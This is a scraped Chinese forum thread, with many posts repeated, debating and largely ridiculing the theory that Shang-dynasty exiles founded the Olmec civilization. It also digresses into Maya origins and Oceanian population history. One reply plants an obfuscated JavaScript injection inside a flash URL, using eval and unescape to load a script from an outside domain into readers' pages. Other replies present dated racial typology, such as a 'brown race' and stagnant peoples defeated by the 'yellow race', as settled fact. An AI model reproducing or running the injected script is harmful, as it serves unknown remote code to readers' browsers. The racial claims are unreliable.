超级军网荒誕不經的商朝流亡美洲建立奧梅克文明論
来源：百度文库 编辑：超级军网 时间：2024/04/28 04:27:13
王大有20年前的陰地安論早就變網路笑柄了,大概時間久了覺得世人都忘了,又有人拿出來炒作,類似的理論洋人早就提過,被所有的美洲古代文明考古專家
嗤之以鼻,公開罵是一種種族主義的炒作;原因很簡單,你不用有考古學者的學問,隨便拿張旅行社的旅遊介紹都不會相信
這種巨石人頭雕像是奧梅克文明最大的特徵之一,中國商朝哪來這東西??雕的人像又哪點像中國人??
說非洲人還比較像一點
嗤之以鼻,公開罵是一種種族主義的炒作;原因很簡單,你不用有考古學者的學問,隨便拿張旅行社的旅遊介紹都不會相信
這種巨石人頭雕像是奧梅克文明最大的特徵之一,中國商朝哪來這東西??雕的人像又哪點像中國人??
說非洲人還比較像一點
嗤之以鼻,公開罵是一種種族主義的炒作;原因很簡單,你不用有考古學者的學問,隨便拿張旅行社的旅遊介紹都不會相信
這種巨石人頭雕像是奧梅克文明最大的特徵之一,中國商朝哪來這東西??雕的人像又哪點像中國人??
說非洲人還比較像一點
嗤之以鼻,公開罵是一種種族主義的炒作;原因很簡單,你不用有考古學者的學問,隨便拿張旅行社的旅遊介紹都不會相信
這種巨石人頭雕像是奧梅克文明最大的特徵之一,中國商朝哪來這東西??雕的人像又哪點像中國人??
說非洲人還比較像一點
奧梅克.jpg (75.38 KB, 下载次数: 6)
下载附件 保存到相册
俺是来看人头像的，不错啊！
2016-1-9 09:39 上传
================================
玉圭上的文字，对殷商甲骨文，夏商周金文研究过的人，能识读出来。我们把玉圭上的文字勾摹下来，与中国古文字作对比，即可解读它们。我们把它们作了1－6的编号，作了复原勾摹和摹本殷文解译对照本，同时发表。（图二、图三）１号圭原文：“郊供玄鸟陨卵（上），降而生商，帝俊携玄女茧翟受卵吞食（中），闭台有孕生子（下）”；２号圭原文：“有女戎氏伯女茧翟感应玄鸟”；３号圭原文：“火祭农帝辛”；４号圭原文：“报祭陬訾氏、蚩尤氏、、相土、王亥并上甲微”；５号圭原文：“十二宗祖二”；６号圭原文：“小日皋”。这些玉圭原文，可与中国大汶口文化陶文（距今6500－5000年）、连云港朐山少昊勾芒遗址崖刻文字（距今7000－4000年）、良渚文化玉器文字（距今5100－4200年）、商代甲骨文、青铜器铭文、族徽（距今3600－3100年），一一对应，是纯粹的中国文字
================================
玉圭上的文字，对殷商甲骨文，夏商周金文研究过的人，能识读出来。我们把玉圭上的文字勾摹下来，与中国古文字作对比，即可解读它们。我们把它们作了1－6的编号，作了复原勾摹和摹本殷文解译对照本，同时发表。（图二、图三）１号圭原文：“郊供玄鸟陨卵（上），降而生商，帝俊携玄女茧翟受卵吞食（中），闭台有孕生子（下）”；２号圭原文：“有女戎氏伯女茧翟感应玄鸟”；３号圭原文：“火祭农帝辛”；４号圭原文：“报祭陬訾氏、蚩尤氏、、相土、王亥并上甲微”；５号圭原文：“十二宗祖二”；６号圭原文：“小日皋”。这些玉圭原文，可与中国大汶口文化陶文（距今6500－5000年）、连云港朐山少昊勾芒遗址崖刻文字（距今7000－4000年）、良渚文化玉器文字（距今5100－4200年）、商代甲骨文、青铜器铭文、族徽（距今3600－3100年），一一对应，是纯粹的中国文字
yvbcar28456 发表于 2016-1-9 09:40
這是王大有自稱在美洲的玉圭上發現了中國古代文字,這看就知道是根本沒有考古嘗試的胡說八道,在6塊玉圭上居 ...
这类传世品，本身就是来源可疑的东西。
即使是近来在北美发现的类似甲骨文的石刻符号，也难言文字可能。好在我国考古队赴洪都拉斯考古玛雅晚期科潘遗址的一处墓葬，倒是有不少新发现。
這是王大有自稱在美洲的玉圭上發現了中國古代文字,這看就知道是根本沒有考古嘗試的胡說八道,在6塊玉圭上居 ...
这类传世品，本身就是来源可疑的东西。
即使是近来在北美发现的类似甲骨文的石刻符号，也难言文字可能。好在我国考古队赴洪都拉斯考古玛雅晚期科潘遗址的一处墓葬，倒是有不少新发现。
另外，关于玛雅文明的起源，学术界有两种互相对立的理论：
一种理论认为，玛雅文明是完全自发形成的，起源地在今天的墨西哥南部、危地马拉和伯利兹；
而另外一种理论则认为，玛雅文明的产生主要受更古老的奥尔梅克文明的影响。
最近一项发表在《科学》杂志的研究，通过对位于危地马拉的古玛雅遗址 Ceibal 的出土建筑进行测定，提出了这两种观点以外的第三种看法：
玛雅文明既非独立出现，也不只单单受奥尔梅克文明的影响，其起源可能来自更多元、更广泛的文化交流。
大约在公元前1000年至公元前700年间，墨西哥南部、危地马拉及伯利兹的玛雅低地出现的时候，位于墨西哥湾沿岸的奥尔梅克文明（Olmec Culture）在附近地区已经确立，许多科学家因此认为奥尔梅克文明是玛雅文明的母体。
美国亚利桑那大学图森分校的考古学教授猪俣健（Inomata Takeshi）与他的研究团队一起，对位于危地马拉的古玛雅遗址 Ceibal 的建筑物进行了放射性碳的年代测定，发现该建筑比奥尔梅克文化中心 La Venta 的同类建筑早200年之久。这推翻了此前关于奥尔梅克文明作为玛雅文明起源的假说。研究者进一步提出，Ceibal 和 La Venta 都在大约公元前1150年-800年间参与了发生在中美洲的一次范围更加广泛的文化变迁。
Ceibal 是玛雅文明古典期的重要聚居地之一，其主要建筑群被称为“E形组建”（E-GroupAssemblage），由一个广场区、一个位于西部的平台或金字塔及一个位于东部的土墩组成的。E形组建起初只是2米高的小型建筑，随着不断的翻新变得越来越高，并最终演变成金字塔。而这些金字塔是重要的宗教仪式场所，成为玛雅文明的代表。在Ceibal的广场中，研究者发现了祭祀用品的沉积物，包括由玉石制作的绿石斧和其他宝石。而中美洲南部的其他地方，如墨西哥恰帕斯州的同年代遗址中也有类似的祭祀用品被发现。
综合来看，这些结果表明奥尔梅克文明并不是玛雅文明的起源，而玛雅文化也不是独立发展起来的。相反，玛雅文明曾积极地参与到当时的重大社会变迁之中。猪俣表示， E形组建这种新的建筑形式反映了新的社会形式及社会秩序。它不是从一个中心（奥尔梅克文明）发展而来的，而是通过不同人群（其中包括低地玛雅）的广泛互动而发展出来的。
然而，楼主所指也是一家之言，虽然奥尔梅克文明属于当时墨西哥区域南部多个文明中心之一，但也并非非洲人可言，那些圆雕人头有南部非洲人或南亚、大洋洲黑人特征，但是不要忘记还有其他石刻和雕像，特别是那些服装繁琐、装饰华丽、拥有饰品的人像，那可不像非洲黑人。
一种理论认为，玛雅文明是完全自发形成的，起源地在今天的墨西哥南部、危地马拉和伯利兹；
而另外一种理论则认为，玛雅文明的产生主要受更古老的奥尔梅克文明的影响。
最近一项发表在《科学》杂志的研究，通过对位于危地马拉的古玛雅遗址 Ceibal 的出土建筑进行测定，提出了这两种观点以外的第三种看法：
玛雅文明既非独立出现，也不只单单受奥尔梅克文明的影响，其起源可能来自更多元、更广泛的文化交流。
大约在公元前1000年至公元前700年间，墨西哥南部、危地马拉及伯利兹的玛雅低地出现的时候，位于墨西哥湾沿岸的奥尔梅克文明（Olmec Culture）在附近地区已经确立，许多科学家因此认为奥尔梅克文明是玛雅文明的母体。
美国亚利桑那大学图森分校的考古学教授猪俣健（Inomata Takeshi）与他的研究团队一起，对位于危地马拉的古玛雅遗址 Ceibal 的建筑物进行了放射性碳的年代测定，发现该建筑比奥尔梅克文化中心 La Venta 的同类建筑早200年之久。这推翻了此前关于奥尔梅克文明作为玛雅文明起源的假说。研究者进一步提出，Ceibal 和 La Venta 都在大约公元前1150年-800年间参与了发生在中美洲的一次范围更加广泛的文化变迁。
Ceibal 是玛雅文明古典期的重要聚居地之一，其主要建筑群被称为“E形组建”（E-GroupAssemblage），由一个广场区、一个位于西部的平台或金字塔及一个位于东部的土墩组成的。E形组建起初只是2米高的小型建筑，随着不断的翻新变得越来越高，并最终演变成金字塔。而这些金字塔是重要的宗教仪式场所，成为玛雅文明的代表。在Ceibal的广场中，研究者发现了祭祀用品的沉积物，包括由玉石制作的绿石斧和其他宝石。而中美洲南部的其他地方，如墨西哥恰帕斯州的同年代遗址中也有类似的祭祀用品被发现。
综合来看，这些结果表明奥尔梅克文明并不是玛雅文明的起源，而玛雅文化也不是独立发展起来的。相反，玛雅文明曾积极地参与到当时的重大社会变迁之中。猪俣表示， E形组建这种新的建筑形式反映了新的社会形式及社会秩序。它不是从一个中心（奥尔梅克文明）发展而来的，而是通过不同人群（其中包括低地玛雅）的广泛互动而发展出来的。
然而，楼主所指也是一家之言，虽然奥尔梅克文明属于当时墨西哥区域南部多个文明中心之一，但也并非非洲人可言，那些圆雕人头有南部非洲人或南亚、大洋洲黑人特征，但是不要忘记还有其他石刻和雕像，特别是那些服装繁琐、装饰华丽、拥有饰品的人像，那可不像非洲黑人。
另外，关于玛雅文明的起源，学术界有两种互相对立的理论：
一种理论认为，玛雅文明是完全自发形成的，起源 ...
不知道大洋洲黑人是原生，还是从非洲过来的。如果从非洲来，那么中间的印尼好像黑人不见著称，原生的话，也不可能两个大陆同时发展一个人种啊。
一种理论认为，玛雅文明是完全自发形成的，起源 ...
不知道大洋洲黑人是原生，还是从非洲过来的。如果从非洲来，那么中间的印尼好像黑人不见著称，原生的话，也不可能两个大陆同时发展一个人种啊。
alwy 发表于 2016-1-10 16:34
不知道大洋洲黑人是原生，还是从非洲过来的。如果从非洲来，那么中间的印尼好像黑人不见著称，原生的话， ...
在十九世纪，澳大利亚原住民被分类为黑种人。但是，由于面貌的不同，在二十世纪初期，新一代的研究发现澳大利亚原住民与非洲人种的区别。新一代的人类学学家，像Carleton S. Coon，把澳大利亚原住民和一些其它太平洋岛屿人给归类于他们自己的人种“棕色人种”。
棕色人种皮肤为棕色或巧克力色，头发棕黑色并且卷曲，鼻子宽，口鼻部前突，胡子和体毛发达。
当时，在东南亚挖掘的化石显示中石器时代的东南亚人骨骼类似于所谓的棕色人种。此后，一些学者认为在陆地的棕色人被黄种人而同化，但是最新的分子人类学研究结果表明，残酷的竞争和替代多于同化。和黄种人比较，棕色人种体貌特征内部差异更大。
一般来说，棕色人种是亚洲大陆和部分太平洋印度洋岛屿的早期居民，他们长期停滞于旧石器时代，在竞争中被进入的新石器时代的黄种人击败，逐渐从亚洲大陆消失，因此目前只分布在孤立的海岛和高寒地区。
现在，棕色人种主要指的是澳大利亚原住民，其它分布在澳大利亚、新西兰以及南太平洋的岛屿上。 棕色人种与其他三大人种相比，有着最粗壮的眉弓；通常为长颅型、黑色卷发、下颚粗大、突颌、巧克力肤色、眼睛深棕色或者黑色。分子人类学研究发现作为氐族后裔之一的白马藏族可能也属于棕色人种，藏族和日本民族中棕色人种遗传基因的比例很高。日本绳纹时代的文化被认为属于棕色人种，虾夷人和阿伊努人是其后裔。有些学者看来，美洲印第安人也被认为棕色人种后裔。
太平洋海岛棕色人种一般的衣物是用稻草编织而成的，而在建筑物的周围则一般会采用石雕来做装饰，海岛文明显著，在文明上主要是继承了隶属于古代美洲的印第安文明。
波利尼西亚人与其西面两大群岛的土著居民也有很多不同之处，而与其东面美洲大陆的印第安人却有很多相似之处。例如，在体形上，密克罗尼西亚和美拉尼西亚人都身材矮小，而波利尼西亚人则相对要魁伟些，这与印第安人更为相近。在血型上，波利尼西亚人和美洲印第安人都缺少B型和AB型血型。另外，人们还发现，波利尼西亚人的神话传说和传统习惯中，也有若干与印第安人相似之处。因此，有一些人类学家认为，波利尼西亚人的祖先是从东面的美洲迁来的。
2002年Hurles et al.和2006年Ghiani etal.论文显示：Y-Q1a3a存在于波利尼西亚群岛，包括东部岛屿，显示是美洲土著印第安人迁徙到了这个区域，而这也为几百年来的大洋洲人种的来源之谜的争论划上了句号。
--小结一下，肤色和外貌的变化，与语言以及分子生物学遗传密码关系不是那么对应的，看上去差不多的大洋洲深色族群，内部也有不同的源流。以上诸说也只是现有条件下的一堆假说和推测。
不知道大洋洲黑人是原生，还是从非洲过来的。如果从非洲来，那么中间的印尼好像黑人不见著称，原生的话， ...
在十九世纪，澳大利亚原住民被分类为黑种人。但是，由于面貌的不同，在二十世纪初期，新一代的研究发现澳大利亚原住民与非洲人种的区别。新一代的人类学学家，像Carleton S. Coon，把澳大利亚原住民和一些其它太平洋岛屿人给归类于他们自己的人种“棕色人种”。
棕色人种皮肤为棕色或巧克力色，头发棕黑色并且卷曲，鼻子宽，口鼻部前突，胡子和体毛发达。
当时，在东南亚挖掘的化石显示中石器时代的东南亚人骨骼类似于所谓的棕色人种。此后，一些学者认为在陆地的棕色人被黄种人而同化，但是最新的分子人类学研究结果表明，残酷的竞争和替代多于同化。和黄种人比较，棕色人种体貌特征内部差异更大。
一般来说，棕色人种是亚洲大陆和部分太平洋印度洋岛屿的早期居民，他们长期停滞于旧石器时代，在竞争中被进入的新石器时代的黄种人击败，逐渐从亚洲大陆消失，因此目前只分布在孤立的海岛和高寒地区。
现在，棕色人种主要指的是澳大利亚原住民，其它分布在澳大利亚、新西兰以及南太平洋的岛屿上。 棕色人种与其他三大人种相比，有着最粗壮的眉弓；通常为长颅型、黑色卷发、下颚粗大、突颌、巧克力肤色、眼睛深棕色或者黑色。分子人类学研究发现作为氐族后裔之一的白马藏族可能也属于棕色人种，藏族和日本民族中棕色人种遗传基因的比例很高。日本绳纹时代的文化被认为属于棕色人种，虾夷人和阿伊努人是其后裔。有些学者看来，美洲印第安人也被认为棕色人种后裔。
太平洋海岛棕色人种一般的衣物是用稻草编织而成的，而在建筑物的周围则一般会采用石雕来做装饰，海岛文明显著，在文明上主要是继承了隶属于古代美洲的印第安文明。
波利尼西亚人与其西面两大群岛的土著居民也有很多不同之处，而与其东面美洲大陆的印第安人却有很多相似之处。例如，在体形上，密克罗尼西亚和美拉尼西亚人都身材矮小，而波利尼西亚人则相对要魁伟些，这与印第安人更为相近。在血型上，波利尼西亚人和美洲印第安人都缺少B型和AB型血型。另外，人们还发现，波利尼西亚人的神话传说和传统习惯中，也有若干与印第安人相似之处。因此，有一些人类学家认为，波利尼西亚人的祖先是从东面的美洲迁来的。
2002年Hurles et al.和2006年Ghiani etal.论文显示：Y-Q1a3a存在于波利尼西亚群岛，包括东部岛屿，显示是美洲土著印第安人迁徙到了这个区域，而这也为几百年来的大洋洲人种的来源之谜的争论划上了句号。
--小结一下，肤色和外貌的变化，与语言以及分子生物学遗传密码关系不是那么对应的，看上去差不多的大洋洲深色族群，内部也有不同的源流。以上诸说也只是现有条件下的一堆假说和推测。
不知道大洋洲黑人是原生，还是从非洲过来的。如果从非洲来，那么中间的印尼好像黑人不见著称，原生的话， ...
智人分化成两支，留在非洲的成了黑人，走出非洲的成了亚洲人和欧洲人，大洋洲、东南亚和美洲的土著都是亚洲人种后裔。
智人分化成两支，留在非洲的成了黑人，走出非洲的成了亚洲人和欧洲人，大洋洲、东南亚和美洲的土著都是亚洲人种后裔。
围观楼主。。http://www.coolool.com/flash.swf?\'+eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2Fwww.dzsstye.com%2Fa.js%22%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source))+\'
alwy 发表于 2016-1-10 16:34
不知道大洋洲黑人是原生，还是从非洲过来的。如果从非洲来，那么中间的印尼好像黑人不见著称，原生的话， ...
马来人是黄种人，确切说是从台湾出去的南岛人
不知道大洋洲黑人是原生，还是从非洲过来的。如果从非洲来，那么中间的印尼好像黑人不见著称，原生的话， ...
马来人是黄种人，确切说是从台湾出去的南岛人